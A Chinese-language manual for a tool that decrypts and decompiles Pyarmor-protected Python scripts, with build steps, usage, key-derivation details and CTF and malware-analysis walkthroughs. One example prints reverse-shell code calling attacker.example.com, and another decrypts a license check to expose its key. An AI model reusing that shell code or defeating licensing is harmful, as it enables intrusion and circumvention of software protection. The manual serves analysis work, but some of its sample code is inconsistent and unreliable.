Pyarmor-Static-Unpack-1shot 使用手册¶

使用与 pyarmor_runtime 相同的解密算法
AES-CTR 模式，initial_value = 2
密钥通过 MD5(part1 + part2 + part3 + GLOBAL_CERT) 生成

源码模式    → ASCII 占比 ≥90% → 逐行编译提取常量
Nuitka 打包 → 特殊结构检测   → 解析打包格式
二进制模式  → 高熵二进制     → 直接字节扫描

# 必需软件
- CMake 3.10+
- Python 3.7+
- C++ 编译器 (GCC/Clang/MSVC)
- Git

# Python 依赖
- pycryptodome (AES 解密)
- chardet (编码检测)

# 1. 克隆仓库
git clone https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot.git
cd Pyarmor-Static-Unpack-1shot

# 2. 安装 Python 依赖
pip3 install pycryptodome chardet

# 3. 编译 pycdc 反编译引擎
mkdir build && cd build
cmake ../pycdc
cmake --build .

# 4. 复制可执行文件到工作目录
cp pyarmor-1shot ../oneshot/

# 5. 验证安装
cd ../oneshot
python3 shot.py --help

# 从 GitHub Releases 下载对应平台的预编译文件
# https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot/releases

# Linux x86_64
wget https://github.com/.../pyarmor-1shot-linux-x64
chmod +x pyarmor-1shot-linux-x64
mv pyarmor-1shot-linux-x64 oneshot/pyarmor-1shot

# macOS (需要自行编译，见方法1)

# 安装 CMake
brew install cmake

# 编译时可能需要指定编译器
export CC=/usr/bin/clang
export CXX=/usr/bin/clang++

# Apple Silicon (M1/M2/M3) 会生成 arm64 可执行文件
mkdir build && cd build
cmake ../pycdc
cmake --build .  # 生成 Mach-O 64-bit executable arm64

# 安装依赖
sudo apt update
sudo apt install cmake g++ python3-pip

# 标准编译流程
mkdir build && cd build
cmake ../pycdc
cmake --build .

# 安装 Visual Studio Build Tools
# 或安装完整的 Visual Studio (带 C++ 工作负载)

# 使用 CMake GUI 或命令行
mkdir build && cd build
cmake ../pycdc -G "Visual Studio 17 2022"
cmake --build . --config Release

python3 shot.py <target_directory> [options]

cd /path/to/Pyarmor-Static-Unpack-1shot/oneshot

# 解密单个目录
python3 shot.py /path/to/encrypted_scripts

INFO     Found data in source: a.py
INFO     Found new runtime: 000000 (/path/to/pyarmor_runtime_000000/pyarmor_runtime.so)
INFO     Using executable: pyarmor-1shot
INFO     Decrypting: 000000 (a.py)

====================================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
Mix string AES nonce: 692e6e6f6e2d70726f666974
====================================

# 将解密结果保存到指定目录
python3 shot.py /path/to/encrypted -o /path/to/output

# 检查输出
ls -lah /path/to/output/
# a.py.1shot.cdc.py  - 反编译的源代码
# a.py.1shot.das     - 完整的字节码汇编
# a.py.1shot.seq     - 中间汇编格式

python shot.py  /Users/ss/Downloads/dist -o /Users/ss/Downloads/dist/dist-wang

 ____                                                                     ____
( __ )                                                                   ( __ )
 |  |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  |
 |  |   ____                                      _ ___  _          _     |  |
 |  |  |  _ \ _  _  __ _ _ __ _ _ __   ___  _ _  / / __|| |_   ___ | |_   |  |
 |  |  | |_) | || |/ _` | '__| ' `  \ / _ \| '_| | \__ \| ' \ / _ \| __|  |  |
 |  |  |  __/| || | (_| | |  | || || | (_) | |   | |__) | || | (_) | |_   |  |
 |  |  |_|    \_, |\__,_|_|  |_||_||_|\___/|_|   |_|___/|_||_|\___/ \__|  |  |
 |  |         |__/                                                        |  |
 |__|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|__|
(____)                                                        v0.2.1+    (____)

              For technology exchange only. Use at your own risk.
        GitHub: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot

INFO     2025-11-10 23:32:07,533      Found data in source: a.py
INFO     2025-11-10 23:32:07,534      Found new runtime: 000000 (/Users/ss/Downloads/dist/pyarmor_runtime_000000/pyarmor_runtime.so)
        ========================
        Pyarmor Runtime (Trial) Information:
        Product: non-profits
        AES key: ab738f35ffce23b13ae73d5a2c17a896
        Mix string AES nonce: 692e6e6f6e2d70726f666974
        ========================
INFO     2025-11-10 23:32:07,534      Using executable: pyarmor-1shot
INFO     2025-11-10 23:32:07,534      Decrypting: 000000 (a.py)

# 当自动检测失败时，手动指定 runtime 文件
python3 shot.py /path/to/encrypted -r /custom/path/pyarmor_runtime.pyd

# 递归处理目录树中的所有加密文件
python3 shot.py /path/to/project_root -o /output/dir

# 工具会自动：
# - 跳过 __pycache__ 目录
# - 跳过 site-packages 目录
# - 跳过符号链接
# - 处理所有检测到的加密文件

# BCC (Binary C Code) 段自动检测和处理
# 当加密数据包含本地代码片段时，工具会：
# 1. 检测 BCC 标志（偏移 20-24 字节，值为 9）
# 2. 分别解密 Python 字节码和本地代码
# 3. 生成完整的反编译结果

# 无需额外参数，自动处理
python3 shot.py /path/with/bcc/code

# 工具自动识别目标 Python 版本
# 支持的魔术字节头：

Python 3.7  → 0x42 0x0d
Python 3.8  → 0x55 0x0d
Python 3.9  → 0x61 0x0d
Python 3.10 → 0x6f 0x0d
Python 3.11 → 0xa7 0x0d
Python 3.12 → 0xcb 0x0d
Python 3.13 → 0xe5 0x0d

# 自动调用对应版本的反编译器

# 工具内置智能编码检测，按优先级尝试：
1. chardet 自动检测
2. UTF-8
3. 系统默认编码
4. GB2312 (中文)
5. Latin-1 (兜底)

# 确保各种编码的文件都能正确处理

# 文件示例: a.py.1shot.cdc.py
# Source generated by Pyarmor-Static-Unpack-1shot (v0.2.1)

# Note: Decompiled code can be incomplete and incorrect.
# Please also check the correct and complete disassembly file

from time import sleep
flag = 'flag{Whose_y0u_1s_Th3_b0ss?!#@}'

def compare(s):
    for i in range(len(s)):
        diff = ord(s[i]) ^ ord(flag[i])
        if diff:
            sleep(CHARTIME * diff / 256)

# 文件示例: a.py.1shot.das
# Disassembly of a.py (Python 3.12)

# 字节码汇编格式（精确）
   0       RESUME                   0
   2       LOAD_CONST               0: '__pyarmor_enter_64542__(...)'
   4       POP_TOP
   6       LOAD_CONST               1: 0
   8       LOAD_CONST               2: ('sleep',)
  10       IMPORT_NAME              0: time
  12       IMPORT_FROM              1: sleep
  14       STORE_NAME               1: sleep
  ...

# 文件示例: a.py.1shot.seq
# 介于字节码和源码之间的中间表示

[Function Object 0]
[Constants]
  0: '__pyarmor_enter_64542__(...)'
  1: 0
  2: ('sleep',)
  ...
[Names]
  0: time
  1: sleep
  2: flag
  ...

# ✅ 可行方案
# 1. 获取 Windows 版本的 pyarmor_runtime.pyd
# 2. 在 Mac 上解密（工具会使用 Win64 解析逻辑）

python3 shot.py /path/to/encrypted -r /path/to/pyarmor_runtime.pyd -o /output

# 成功！因为使用 Windows PE 格式解析

# ⚠️ 需要手动密钥
# 当前版本对 .dylib (Mach-O 格式) 解析未实现
# 需要：
# 1. 手动提取密钥（使用其他工具）
# 2. 修改 shot.py 直接提供密钥

# 1. 查看文件结构
cd /path/to/ctf_challenge
ls -la
# a.py (Pyarmor 加密)
# pyarmor_runtime_000000/
#   ├── __init__.py
#   ├── pyarmor_runtime.so  (Linux ELF)
#   └── __pycache__/

# 2. 使用工具解密
cd /path/to/Pyarmor-Static-Unpack-1shot/oneshot
python3 shot.py /path/to/ctf_challenge -o /tmp/unpacked

# 3. 查看输出
INFO     Found data in source: a.py
INFO     Found new runtime: 000000
INFO     Decrypting: 000000 (a.py)

====================================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
====================================

# 4. 分析反编译代码
cat /tmp/unpacked/a.py.1shot.cdc.py

flag = 'flag{Whose_y0u_1s_Th3_b0ss?!#@}'

def compare(s):
    # Timing Attack 实现
    for i in range(len(s)):
        diff = ord(s[i]) ^ ord(flag[i])
        if diff:
            sleep(CHARTIME * diff / 256)

# 1. 初步检查
file suspicious.py
# suspicious.py: Python script text executable, ASCII text

head suspicious.py
# from pyarmor_runtime_xxx import __pyarmor__
# __pyarmor__(__name__, __file__, b'PY000000...')
# ⚠️ 发现 Pyarmor 加密特征

# 2. 静态解密（不执行）
python3 shot.py /path/to/malware -o /tmp/analysis

# 3. 检查反编译结果
cat /tmp/analysis/suspicious.py.1shot.cdc.py

import socket
import subprocess

C2_SERVER = "attacker.example.com"
C2_PORT = 4444

def establish_connection():
    s = socket.socket()
    s.connect((C2_SERVER, C2_PORT))
    while True:
        cmd = s.recv(1024).decode()
        result = subprocess.run(cmd, shell=True, capture_output=True)
        s.send(result.stdout)

# 解密验证模块
python3 shot.py /path/to/software/license_check -o /tmp/license_analysis

# 查看验证逻辑
cat /tmp/license_analysis/verify.py.1shot.cdc.py

LICENSE_KEY = "ABCD-EFGH-IJKL-MNOP"

def verify_license(user_key):
    # 硬编码的验证密钥
    return user_key == LICENSE_KEY

def check_expiry():
    import datetime
    expiry = datetime.datetime(2025, 12, 31)
    return datetime.datetime.now() < expiry

# 1. 检查是否包含 Pyarmor 特征
grep -r "__pyarmor__" /path/to/target

# 2. 检查文件头魔术字节
hexdump -C file.py | head -20
# 查找 "PY000000" 标记

# 3. 确认 Python 版本兼容
python3 --version  # 需要 3.7+

# 1. 优先查看 .das 汇编文件（完全准确）
cat output/file.py.1shot.das

# 2. 结合 .cdc.py 和 .das 分析
# - .cdc.py: 快速理解逻辑
# - .das: 确认精确细节

# 3. 手动修复反编译代码
# 根据汇编指令重构源码

# runtime.py 中的代码
if file_path.endswith(".pyd"):
    self.extract_info_win64()
else:
    # TODO: implement for other platforms
    self.extract_info_win64()  # 错误：对 .dylib 使用 Windows 逻辑

# 获取 .pyd 文件（Windows 版）
python3 shot.py /path/to/target -r /path/to/pyarmor_runtime.pyd

# 修改 oneshot/shot.py
# 在解密函数中直接使用已知密钥

def decrypt_with_known_key():
    key = bytes.fromhex("ab738f35ffce23b13ae73d5a2c17a896")
    nonce = bytes.fromhex("692e6e6f6e2d70726f666974")
    cipher = AES.new(key, AES.MODE_CTR, nonce=nonce, initial_value=2)
    return cipher.decrypt(data)

# 欢迎实现 Mach-O 格式解析
# 参考 extract_info_win64() 逻辑
# 提交 PR 到 GitHub

CMake Error: Could not find CMAKE_ROOT !!!

# 安装/更新 CMake
# macOS
brew install cmake
brew upgrade cmake

# Linux
sudo apt update
sudo apt install cmake

# Windows
# 从 https://cmake.org/download/ 下载安装

# 验证版本
cmake --version  # 需要 3.10+

ERROR: Could not install packages due to an EnvironmentError

# 方法 1: 使用虚拟环境
python3 -m venv venv
source venv/bin/activate  # Linux/Mac
# venv\Scripts\activate   # Windows
pip install pycryptodome chardet

# 方法 2: 使用 --user 标志
pip3 install --user pycryptodome chardet

# 方法 3: 使用系统包管理器
# Ubuntu/Debian
sudo apt install python3-pycryptodome python3-chardet

# 1. 排除不必要的目录
python3 shot.py /target --exclude-dir "__pycache__,site-packages,venv"

# 2. 使用 SSD 存储
# 避免机械硬盘，提升 I/O 速度

# 3. 增加并发（修改 shot.py）
# 默认使用 asyncio.Semaphore 限制并发
# 可以调整信号量值提高并发数

import asyncio
semaphore = asyncio.Semaphore(10)  # 增加到 10

原始 .py 文件
    ↓
编译为字节码 (.pyc)
    ↓
AES-CTR 加密 (key, nonce, IV=2)
    ↓
嵌入加密数据到新的 .py 文件
    ↓
添加 __pyarmor__() 调用
    ↓
打包 pyarmor_runtime (.so/.pyd/.dylib)

加密的 .py 文件
    ↓
[detect.py] 特征识别
    ├─ 搜索 "__pyarmor__" 标记
    ├─ 定位 "PY000000" 魔术字节
    └─ 验证数据结构完整性
    ↓
[runtime.py] 密钥提取
    ├─ 解析 pyarmor_runtime 文件
    ├─ 提取 Part1 (序列号, 20字节)
    ├─ 提取 Part2 (RSA公钥, 变长)
    ├─ 提取 Part3 (产品信息, 变长)
    ├─ 计算 AES key = MD5(Part1 + Part2 + Part3 + GLOBAL_CERT)
    └─ 提取 AES nonce = Part3[:12]
    ↓
[shot.py] AES-CTR 解密
    ├─ 读取加密数据 (偏移32-36: 长度)
    ├─ 读取随机数 (偏移36-40, 44-52)
    ├─ 执行 AES.new(key, MODE_CTR, nonce=nonce, initial_value=2)
    └─ 解密为字节码
    ↓
[pycdc] 反编译
    ├─ 生成 .seq 中间格式
    ├─ 反编译为 .cdc.py 源码
    └─ 生成 .das 汇编代码

偏移 0-8:    "PY000000" 魔术字节
偏移 8-12:   版本标识
偏移 12-16:  Python 版本魔术数
偏移 20-24:  BCC 标志 (9 = 包含本地代码)
偏移 28-32:  头部长度
偏移 32-36:  密文长度
偏移 36-40:  随机数 Part1 (4字节)
偏移 44-52:  随机数 Part2 (8字节)
偏移 56-59:  下一段偏移 (多段数据链)

偏移 0x2C:      Part1 起始 (20字节序列号)
偏移 0x54:      Part2 长度标识
偏移 0x54+4:    Part2 数据 (RSA公钥)
偏移 0x60:      Part3 起始 (产品信息)

from Crypto.Cipher import AES

def decrypt_armored_data(encrypted_data, key, nonce):
    """
    解密 Pyarmor 加密的字节码

    Args:
        encrypted_data: 加密的字节码数据
        key: AES-256 密钥 (32字节)
        nonce: AES-CTR 模式的 nonce (12字节)

    Returns:
        解密后的字节码
    """
    # 创建 AES-CTR 密码对象
    # initial_value=2 是 Pyarmor 的固定配置
    cipher = AES.new(
        key,
        AES.MODE_CTR,
        nonce=nonce,
        initial_value=2
    )

    # 执行解密
    decrypted = cipher.decrypt(encrypted_data)

    return decrypted

import hashlib

def generate_aes_key(part1, part2, part3, global_cert):
    """
    生成 Pyarmor 的 AES 密钥

    Args:
        part1: 序列号数据 (20字节)
        part2: RSA公钥数据 (变长)
        part3: 产品信息数据 (变长)
        global_cert: 全局证书 (硬编码)

    Returns:
        AES-256 密钥 (32字节)
    """
    # 拼接所有部分
    combined = part1 + part2 + part3 + global_cert

    # MD5 哈希生成密钥
    key = hashlib.md5(combined).digest()

    # MD5 输出 16字节，Pyarmor 可能会扩展到 32字节
    # 具体实现可能更复杂，这里是简化版
    return key

# 1. Fork 仓库
# 2. 创建功能分支
git checkout -b feature/add-macos-support

# 3. 提交更改
git commit -m "feat: implement Mach-O format parsing for macOS"

# 4. 推送到分支
git push origin feature/add-macos-support

# 5. 创建 Pull Request